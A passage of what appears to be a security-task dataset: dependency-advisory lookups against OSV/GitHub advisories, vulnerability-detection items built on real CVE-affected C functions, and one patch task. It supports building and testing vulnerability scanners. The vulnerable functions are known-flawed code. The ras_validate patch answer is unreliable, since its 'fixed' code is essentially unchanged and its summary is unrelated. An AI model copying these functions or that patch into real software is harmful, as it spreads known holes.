\"PyPI\",\n \"package\": \"pgadmin4\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <9.15\",\n \"fixed_version\": \"9.15\",\n \"finding\": \"pgAdmin 4: Improper restriction of excessive authentication attempts\",\n \"remediation\": \"Upgrade pgadmin4 to 9.15 or later.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-122", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Microsoft.NetCore.App.Runtime.linux-arm\nInstalled version: 9.0.0\nSummary: Microsoft Security Advisory CVE-2025-21171 | .NET Remote Code Execution Vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-p54p-p3qm-8vgj\",\n \"cve\": \"CVE-2025-21171\",\n \"aliases\": [\n \"BIT-dotnet-2025-21171\",\n \"BIT-dotnet-sdk-2025-21171\",\n \"BIT-powershell-2025-21171\",\n \"CVE-2025-21171\"\n ],\n \"cwe\": \"CWE-122\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"Microsoft.NetCore.App.Runtime.linux-arm\",\n \"severity\": \"high\",\n \"affected_versions\": \">=9.0.0, <9.0.1\",\n \"fixed_version\": \"9.0.1\",\n \"finding\": \"Microsoft Security Advisory CVE-2025-21171 | .NET Remote Code Execution Vulnerability\",\n \"remediation\": \"Upgrade Microsoft.NetCore.App.Runtime.linux-arm to 9.0.1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-407", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: System.Security.Cryptography.Pkcs\nInstalled version: 10.0.0\nSummary: Microsoft Security Advisory CVE-2026-84008 - .NET Denial of Service Vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-846f-f764-76mx\",\n \"cve\": \"CVE-2026-84008\",\n \"aliases\": [\n \"CVE-2026-84008\"\n ],\n \"cwe\": \"CWE-407\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"System.Security.Cryptography.Pkcs\",\n \"severity\": \"high\",\n \"affected_versions\": \">=10.0.0, <10.0.13\",\n \"fixed_version\": \"10.0.13\",\n \"finding\": \"Microsoft Security Advisory CVE-2026-84008 - .NET Denial of Service Vulnerability\",\n \"remediation\": \"Upgrade System.Security.Cryptography.Pkcs to 10.0.13 or later.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/go-git/go-git/v5\nInstalled version: <5.18.0\nSummary: Go-git: Credential leak via cross-host redirect in smart HTTP transport in github.com/go-git/go-git", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GO-2026-5105\",\n \"cve\": \"CVE-2026-41506\",\n \"aliases\": [\n \"CVE-2026-41506\",\n \"GHSA-3xc5-wrhm-f963\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/go-git/go-git/v5\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <5.18.0\",\n \"fixed_version\": \"5.18.0\",\n \"finding\": \"Go-git: Credential leak via cross-host redirect in smart HTTP transport in github.com/go-git/go-git\",\n \"remediation\": \"Upgrade github.com/go-git/go-git/v5 to 5.18.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: ws\nInstalled version: 5.2.4\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"npm\",\n \"package\": \"ws\",\n \"installed_version\": \"5.2.4\",\n \"note\": \"ws 5.2.4 is at or above the fixed version for GHSA-3h5v-q93c-6h6q; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-1321", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.webjars.npm:jquery\nInstalled version: 1.1.4\nSummary: XSS in jQuery as used in Drupal, Backdrop CMS, and other products", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-6c3j-c64m-qhgq\",\n \"cve\": \"CVE-2019-11358\",\n \"aliases\": [\n \"CVE-2019-11358\",\n \"DRUPAL-CORE-2019-006\",\n \"PYSEC-2026-628\",\n \"SNYK-JS-JQUERY-174006\"\n ],\n \"cwe\": \"CWE-1321\",\n \"ecosystem\": \"Maven\",\n \"package\": \"org.webjars.npm:jquery\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=1.1.4, <3.4.0\",\n \"fixed_version\": \"3.4.0\",\n \"finding\": \"XSS in jQuery as used in Drupal, Backdrop CMS, and other products\",\n \"remediation\": \"Upgrade org.webjars.npm:jquery to 3.4.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": "CWE-79", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: products-passwordresettool\nInstalled version: <2.0.6\nSummary: Cross-site scripting in Products.CMFPlone and Products.PasswordResetTool", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-p7h9-vf92-5fj5\",\n \"cve\": \"CVE-2011-1948\",\n \"aliases\": [\n \"CVE-2011-1948\",\n \"PYSEC-2011-14\",\n \"PYSEC-2026-2965\",\n \"PYSEC-2026-2966\"\n ],\n \"cwe\": \"CWE-79\",\n \"ecosystem\": \"PyPI\",\n \"package\": \"products-passwordresettool\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <2.0.6\",\n \"fixed_version\": \"2.0.6\",\n \"finding\": \"Cross-site scripting in Products.CMFPlone and Products.PasswordResetTool\",\n \"remediation\": \"Upgrade products-passwordresettool to 2.0.6 or later.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Debian:14\nManifest: distro package manager (apt/apk)\nPackage: linux\nInstalled version: <6.19.10-1\nSummary: In the Linux kernel, the following vulnerability has been resolved: crash_dump: don't log dm-crypt key bytes in read_key_from_user_keying When debug logging is enabled, read_key_from_user_keying() l...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2026-31543\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:14\",\n \"package\": \"linux\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <6.19.10-1\",\n \"fixed_version\": \"6.19.10-1\",\n \"finding\": \"In the Linux kernel, the following vulnerability has been resolved: crash_dump: don't log dm-crypt key bytes in read_key_from_user_keying When debug logging is enabled, read_key_from_user_keying() l...\",\n \"remediation\": \"Upgrade linux to 6.19.10-1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-502", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.springframework.kafka:spring-kafka\nInstalled version: 2.8.1\nSummary: Spring-Kafka has Java Deserialization vulnerability When Improperly Configured", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-crqf-q9fp-hwjw\",\n \"cve\": \"CVE-2023-34040\",\n \"aliases\": [\n \"CVE-2023-34040\"\n ],\n \"cwe\": \"CWE-502\",\n \"ecosystem\": \"Maven\",\n \"package\": \"org.springframework.kafka:spring-kafka\",\n \"severity\": \"high\",\n \"affected_versions\": \">=2.8.1, <2.9.11\",\n \"fixed_version\": \"2.9.11\",\n \"finding\": \"Spring-Kafka has Java Deserialization vulnerability When Improperly Configured\",\n \"remediation\": \"Upgrade org.springframework.kafka:spring-kafka to 2.9.11 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-20", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "int bnep_add_connection(struct bnep_connadd_req *req, struct socket *sock)\n{\n\tstruct net_device *dev;\n\tstruct bnep_session *s, *ss;\n\tu8 dst[ETH_ALEN], src[ETH_ALEN];\n\tint err;\n \n \tBT_DBG(\"\");\n \n \tbaswap((void *) dst, &l2cap_pi(sock->sk)->chan->dst);\n \tbaswap((void *) src, &l2cap_pi(sock->sk)->chan->src);\n \n\t/* session struct allocated as private part of net_device */\n\tdev = alloc_netdev(sizeof(struct bnep_session),\n\t\t\t (*req->device) ? req->device : \"bnep%d\",\n\t\t\t NET_NAME_UNKNOWN,\n\t\t\t bnep_net_setup);\n\tif (!dev)\n\t\treturn -ENOMEM;\n\n\tdown_write(&bnep_session_sem);\n\n\tss = __bnep_get_session(dst);\n\tif (ss && ss->state == BT_CONNECTED) {\n\t\terr = -EEXIST;\n\t\tgoto failed;\n\t}\n\n\ts = netdev_priv(dev);\n\n\t/* This is rx header therefore addresses are swapped.\n\t * ie. eh.h_dest is our local address. */\n\tmemcpy(s->eh.h_dest, &src, ETH_ALEN);\n\tmemcpy(s->eh.h_source, &dst, ETH_ALEN);\n\tmemcpy(dev->dev_addr, s->eh.h_dest, ETH_ALEN);\n\n\ts->dev = dev;\n\ts->sock = sock;\n\ts->role = req->role;\n\ts->state = BT_CONNECTED;\n\n\ts->msg.msg_flags = MSG_NOSIGNAL;\n\n#ifdef CONFIG_BT_BNEP_MC_FILTER\n\t/* Set default mc filter */\n\tset_bit(bnep_mc_hash(dev->broadcast), (ulong *) &s->mc_filter);\n#endif\n\n#ifdef CONFIG_BT_BNEP_PROTO_FILTER\n\t/* Set default protocol filter */\n\tbnep_set_default_proto_filter(s);\n#endif\n\n\tSET_NETDEV_DEV(dev, bnep_get_device(s));\n\tSET_NETDEV_DEVTYPE(dev, &bnep_type);\n\n\terr = register_netdev(dev);\n\tif (err)\n\t\tgoto failed;\n\n\t__bnep_link_session(s);\n\n\t__module_get(THIS_MODULE);\n\ts->task = kthread_run(bnep_session, s, \"kbnepd %s\", dev->name);\n\tif (IS_ERR(s->task)) {\n\t\t/* Session thread start failed, gotta cleanup. */\n\t\tmodule_put(THIS_MODULE);\n\t\tunregister_netdev(dev);\n\t\t__bnep_unlink_session(s);\n\t\terr = PTR_ERR(s->task);\n\t\tgoto failed;\n\t}\n\n\tup_write(&bnep_session_sem);\n\tstrcpy(req->device, dev->name);\n\treturn 0;\n\nfailed:\n\tup_write(&bnep_session_sem);\n\tfree_netdev(dev);\n\treturn err;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2017-15868\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-190", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int read_entry(\n\tgit_index_entry **out,\n\tsize_t *out_size,\n\tgit_index *index,\n\tconst void *buffer,\n\tsize_t buffer_size,\n\tconst char *last)\n{\n\tsize_t path_length, entry_size;\n\tconst char *path_ptr;\n\tstruct entry_short source;\n\tgit_index_entry entry = {{0}};\n\tbool compressed = index->version >= INDEX_VERSION_NUMBER_COMP;\n\tchar *tmp_path = NULL;\n\n\tif (INDEX_FOOTER_SIZE + minimal_entry_size > buffer_size)\n\t\treturn -1;\n\n\t/* buffer is not guaranteed to be aligned */\n\tmemcpy(&source, buffer, sizeof(struct entry_short));\n\n\tentry.ctime.seconds = (git_time_t)ntohl(source.ctime.seconds);\n\tentry.ctime.nanoseconds = ntohl(source.ctime.nanoseconds);\n\tentry.mtime.seconds = (git_time_t)ntohl(source.mtime.seconds);\n\tentry.mtime.nanoseconds = ntohl(source.mtime.nanoseconds);\n\tentry.dev = ntohl(source.dev);\n\tentry.ino = ntohl(source.ino);\n\tentry.mode = ntohl(source.mode);\n\tentry.uid = ntohl(source.uid);\n\tentry.gid = ntohl(source.gid);\n\tentry.file_size = ntohl(source.file_size);\n\tgit_oid_cpy(&entry.id, &source.oid);\n\tentry.flags = ntohs(source.flags);\n\n\tif (entry.flags & GIT_IDXENTRY_EXTENDED) {\n\t\tuint16_t flags_raw;\n\t\tsize_t flags_offset;\n\n\t\tflags_offset = offsetof(struct entry_long, flags_extended);\n\t\tmemcpy(&flags_raw, (const char *) buffer + flags_offset,\n\t\t\tsizeof(flags_raw));\n\t\tflags_raw = ntohs(flags_raw);\n\n\t\tmemcpy(&entry.flags_extended, &flags_raw, sizeof(flags_raw));\n\t\tpath_ptr = (const char *) buffer + offsetof(struct entry_long, path);\n\t} else\n\t\tpath_ptr = (const char *) buffer + offsetof(struct entry_short, path);\n\n\tif (!compressed) {\n\t\tpath_length = entry.flags & GIT_IDXENTRY_NAMEMASK;\n\n\t\t/* if this is a very long string, we must find its\n\t\t * real length without overflowing */\n\t\tif (path_length == 0xFFF) {\n\t\t\tconst char *path_end;\n\n\t\t\tpath_end = memchr(path_ptr, '\\0', buffer_size);\n\t\t\tif (path_end == NULL)\n\t\t\t\treturn -1;\n\n\t\t\tpath_length = path_end - path_ptr;\n\t\t}\n\n\t\tentry_size = index_entry_size(path_length, 0, entry.flags);\n\t\tentry.path = (char *)path_ptr;\n\t} else {\n\t\tsize_t varint_len, last_len, prefix_len, suffix_len, path_len;\n\t\tuintmax_t strip_len;\n\n\t\tstrip_len = git_decode_varint((const unsigned char *)path_ptr, &varint_len);\n\t\tlast_len = strlen(last);\n\n\t\tif (varint_len == 0 || last_len < strip_len)\n\t\t\treturn index_error_invalid(\"incorrect prefix length\");\n\n\t\tprefix_len = last_len - strip_len;\n\t\tsuffix_len = strlen(path_ptr + varint_len);\n \n \t\tGITERR_CHECK_ALLOC_ADD(&path_len, prefix_len, suffix_len);\n \t\tGITERR_CHECK_ALLOC_ADD(&path_len, path_len, 1);\n \t\ttmp_path = git__malloc(path_len);\n \t\tGITERR_CHECK_ALLOC(tmp_path);\n \n\t\tmemcpy(tmp_path, last, prefix_len);\n\t\tmemcpy(tmp_path + prefix_len, path_ptr + varint_len, suffix_len + 1);\n\t\tentry_size = index_entry_size(suffix_len, varint_len, entry.flags);\n\t\tentry.path = tmp_path;\n\t}\n\n\tif (entry_size == 0)\n\t\treturn -1;\n\n\tif (INDEX_FOOTER_SIZE + entry_size > buffer_size)\n\t\treturn -1;\n\n\tif (index_entry_dup(out, index, &entry) < 0) {\n\t\tgit__free(tmp_path);\n\t\treturn -1;\n\t}\n\n\tgit__free(tmp_path);\n\t*out_size = entry_size;\n\treturn 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-190\",\n \"cwe_name\": \"Integer Overflow\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-8098\",\n \"project\": \"libgit2\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: aiohttp\nInstalled version: <3.14.4\nSummary: AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.4, aiohttp buffers all additional connection data received while a request marked for upgrade, such as a W...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2026-4397\",\n \"cve\": \"CVE-2026-128129\",\n \"aliases\": [\n \"CVE-2026-128129\",\n \"GHSA-pw86-h8fm-j323\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"aiohttp\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <3.14.4\",\n \"fixed_version\": \"3.14.4\",\n \"finding\": \"AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to 3.14.4, aiohttp buffers all additional connection data received while a request marked for upgrade, such as a W...\",\n \"remediation\": \"Upgrade aiohttp to 3.14.4 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "javascript", "cwe": null, "source": "curated secure pattern + tree-sitter AST", "instruction": "Perform AST-based static analysis on the following javascript code and output a structured finding.", "input": "const { execFile } = require('child_process');\nfunction ping(req, res) {\n const value = req.body.name;\n execFile('ping', ['-c', '1', value], (e, out) => res.send(out));\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"note\": \"Secure pattern: execFile with argument array (no shell). No injection/traversal sink reachable from untrusted input.\",\n \"ast_top_level\": [\n \"program\",\n \"lexical_declaration\",\n \"function_declaration\"\n ]\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: tensorflow-gpu\nInstalled version: <2.4.3\nSummary: TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can craft a TFLite model that would trigger a division by zero error in LSH [implementation](htt...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2021-802\",\n \"cve\": \"CVE-2021-37691\",\n \"aliases\": [\n \"BIT-tensorflow-2021-37691\",\n \"CVE-2021-37691\",\n \"GHSA-27qf-jwm8-g7f3\",\n \"PYSEC-2021-313\",\n \"PYSEC-2021-604\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"tensorflow-gpu\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <2.4.3\",\n \"fixed_version\": \"2.4.3\",\n \"finding\": \"TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can craft a TFLite model that would trigger a division by zero error in LSH [implementation](htt...\",\n \"remediation\": \"Upgrade tensorflow-gpu to 2.4.3 or later.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: apache-airflow\nInstalled version: 2.6.1\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"PyPI\",\n \"package\": \"apache-airflow\",\n \"installed_version\": \"2.6.1\",\n \"note\": \"apache-airflow 2.6.1 is at or above the fixed version for GHSA-mg2x-mggj-6955; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-276", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/mattermost/mattermost-server\nInstalled version: 10.11.0\nSummary: Mattermost allows other users to determine when users had read channels via channel member objects", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-9hh7-6558-qfp2\",\n \"cve\": \"CVE-2025-55074\",\n \"aliases\": [\n \"CVE-2025-55074\",\n \"GO-2025-4133\"\n ],\n \"cwe\": \"CWE-276\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/mattermost/mattermost-server\",\n \"severity\": \"low\",\n \"affected_versions\": \">=10.11.0, <10.11.4\",\n \"fixed_version\": \"10.11.4\",\n \"finding\": \"Mattermost allows other users to determine when users had read channels via channel member objects\",\n \"remediation\": \"Upgrade github.com/mattermost/mattermost-server to 10.11.4 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-200", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int tca_action_flush(struct rtattr *rta, struct nlmsghdr *n, u32 pid)\n{\n\tstruct sk_buff *skb;\n\tunsigned char *b;\n\tstruct nlmsghdr *nlh;\n\tstruct tcamsg *t;\n\tstruct netlink_callback dcb;\n\tstruct rtattr *x;\n\tstruct rtattr *tb[TCA_ACT_MAX+1];\n\tstruct rtattr *kind;\n\tstruct tc_action *a = create_a(0);\n\tint err = -EINVAL;\n\n\tif (a == NULL) {\n\t\tprintk(\"tca_action_flush: couldnt create tc_action\\n\");\n\t\treturn err;\n\t}\n\n\tskb = alloc_skb(NLMSG_GOODSIZE, GFP_KERNEL);\n\tif (!skb) {\n\t\tprintk(\"tca_action_flush: failed skb alloc\\n\");\n\t\tkfree(a);\n\t\treturn -ENOBUFS;\n\t}\n\n\tb = (unsigned char *)skb->tail;\n\n\tif (rtattr_parse_nested(tb, TCA_ACT_MAX, rta) < 0)\n\t\tgoto err_out;\n\n\tkind = tb[TCA_ACT_KIND-1];\n\ta->ops = tc_lookup_action(kind);\n\tif (a->ops == NULL)\n\t\tgoto err_out;\n\n\tnlh = NLMSG_PUT(skb, pid, n->nlmsg_seq, RTM_DELACTION, sizeof(*t));\n\tt = NLMSG_DATA(nlh);\n\tt->tca_family = AF_UNSPEC;\n\n\tx = (struct rtattr *) skb->tail;\n\tRTA_PUT(skb, TCA_ACT_TAB, 0, NULL);\n\n\terr = a->ops->walk(skb, &dcb, RTM_DELACTION, a);\n\tif (err < 0)\n\t\tgoto rtattr_failure;\n\n\tx->rta_len = skb->tail - (u8 *) x;\n\n\tnlh->nlmsg_len = skb->tail - b;\n\tnlh->nlmsg_flags |= NLM_F_ROOT;\n\tmodule_put(a->ops->owner);\n\tkfree(a);\n\terr = rtnetlink_send(skb, pid, RTMGRP_TC, n->nlmsg_flags&NLM_F_ECHO);\n\tif (err > 0)\n\t\treturn 0;\n\n\treturn err;\n\nrtattr_failure:\n\tmodule_put(a->ops->owner);\nnlmsg_failure:\nerr_out:\n\tkfree_skb(skb);\n\tkfree(a);\n\treturn err;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-200\",\n \"cwe_name\": \"Exposure of Sensitive Information\",\n \"severity\": \"high\",\n \"project\": \"linux-2.6\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-22", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: CefSharp.Common\nInstalled version: <148.0.90\nSummary: CefSharp.Common: `FolderSchemeHandlerFactory` path boundary check can expose files outside the configured root folder", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-85jm-cwp2-mvpv\",\n \"cve\": \"CVE-2026-48796\",\n \"aliases\": [\n \"CVE-2026-48796\"\n ],\n \"cwe\": \"CWE-22\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"CefSharp.Common\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <148.0.90\",\n \"fixed_version\": \"148.0.90\",\n \"finding\": \"CefSharp.Common: `FolderSchemeHandlerFactory` path boundary check can expose files outside the configured root folder\",\n \"remediation\": \"Upgrade CefSharp.Common to 148.0.90 or later.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-190", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": " int ras_validate(jas_stream_t *in)\n {\n\tuchar buf[RAS_MAGICLEN];\n \tint i;\n \tint n;\n \tuint_fast32_t magic;\n\n\tassert(JAS_STREAM_MAXPUTBACK >= RAS_MAGICLEN);\n\n\t/* Read the validation data (i.e., the data used for detecting\n\t the format). */\n\tif ((n = jas_stream_read(in, buf, RAS_MAGICLEN)) < 0) {\n\t\treturn -1;\n\t}\n\n\t/* Put the validation data back onto the stream, so that the\n\t stream position will not be changed. */\n\tfor (i = n - 1; i >= 0; --i) {\n\t\tif (jas_stream_ungetc(in, buf[i]) == EOF) {\n\t\t\treturn -1;\n\t\t}\n\t}\n\n\t/* Did we read enough data? */\n\tif (n < RAS_MAGICLEN) {\n\t\treturn -1;\n\t}\n\n\tmagic = (JAS_CAST(uint_fast32_t, buf[0]) << 24) |\n\t (JAS_CAST(uint_fast32_t, buf[1]) << 16) |\n\t (JAS_CAST(uint_fast32_t, buf[2]) << 8) |\n\t buf[3];\n\n\t/* Is the signature correct for the Sun Rasterfile format? */\n\tif (magic != RAS_MAGIC) {\n\t\treturn -1;\n\t}\n\treturn 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-190\",\n \"cwe_name\": \"Integer Overflow\",\n \"cve\": \"CVE-2016-9557\",\n \"fixed_code\": \" int ras_validate(jas_stream_t *in)\\n {\\n\\tjas_uchar buf[RAS_MAGICLEN];\\n \\tint i;\\n \\tint n;\\n \\tuint_fast32_t magic;\\n\\n\\tassert(JAS_STREAM_MAXPUTBACK >= RAS_MAGICLEN);\\n\\n\\t/* Read the validation data (i.e., the data used for detecting\\n\\t the format). */\\n\\tif ((n = jas_stream_read(in, buf, RAS_MAGICLEN)) < 0) {\\n\\t\\treturn -1;\\n\\t}\\n\\n\\t/* Put the validation data back onto the stream, so that the\\n\\t stream position will not be changed. */\\n\\tfor (i = n - 1; i >= 0; --i) {\\n\\t\\tif (jas_stream_ungetc(in, buf[i]) == EOF) {\\n\\t\\t\\treturn -1;\\n\\t\\t}\\n\\t}\\n\\n\\t/* Did we read enough data? */\\n\\tif (n < RAS_MAGICLEN) {\\n\\t\\treturn -1;\\n\\t}\\n\\n\\tmagic = (JAS_CAST(uint_fast32_t, buf[0]) << 24) |\\n\\t (JAS_CAST(uint_fast32_t, buf[1]) << 16) |\\n\\t (JAS_CAST(uint_fast32_t, buf[2]) << 8) |\\n\\t buf[3];\\n\\n\\t/* Is the signature correct for the Sun Rasterfile format? */\\n\\tif (magic != RAS_MAGIC) {\\n\\t\\treturn -1;\\n\\t}\\n\\treturn 0;\\n}\\n\",\n \"change_summary\": \"The generation of the configuration file jas_config.h has been completely\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: tensorflow-gpu\nInstalled version: <2.4.3\nSummary: TensorFlow is an end-to-end open source platform for machine learning. An attacker can trigger a denial of service via a `CHECK`-fail in converting sparse tensors to CSR Sparse matrices. This is becau...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2021-671\",\n \"cve\": \"CVE-2021-29545\",\n \"aliases\": [\n \"BIT-tensorflow-2021-29545\",\n \"CVE-2021-29545\",\n \"GHSA-hmg3-c7xj-6qwm\",\n \"PYSEC-2021-182\",\n \"PYSEC-2021-473\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"tensorflow-gpu\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <2.4.3\",\n \"fixed_version\": \"2.4.3\",\n \"finding\": \"TensorFlow is an end-to-end open source platform for machine learning. An attacker can trigger a denial of service via a `CHECK`-fail in converting sparse tensors to CSR Sparse matrices. This is becau...\",\n \"remediation\": \"Upgrade tensorflow-gpu to 2.4.3 or later.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: tensorflow\nInstalled version: <2.7.1\nSummary: Integer overflow in Tensorflow", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2026-3254\",\n \"cve\": \"CVE-2022-23576\",\n \"aliases\": [\n \"BIT-tensorflow-2022-23576\",\n \"CVE-2022-23576\",\n \"GHSA-wm93-f238-7v37\",\n \"PYSEC-2022-140\",\n \"PYSEC-2022-85\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"tensorflow\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, 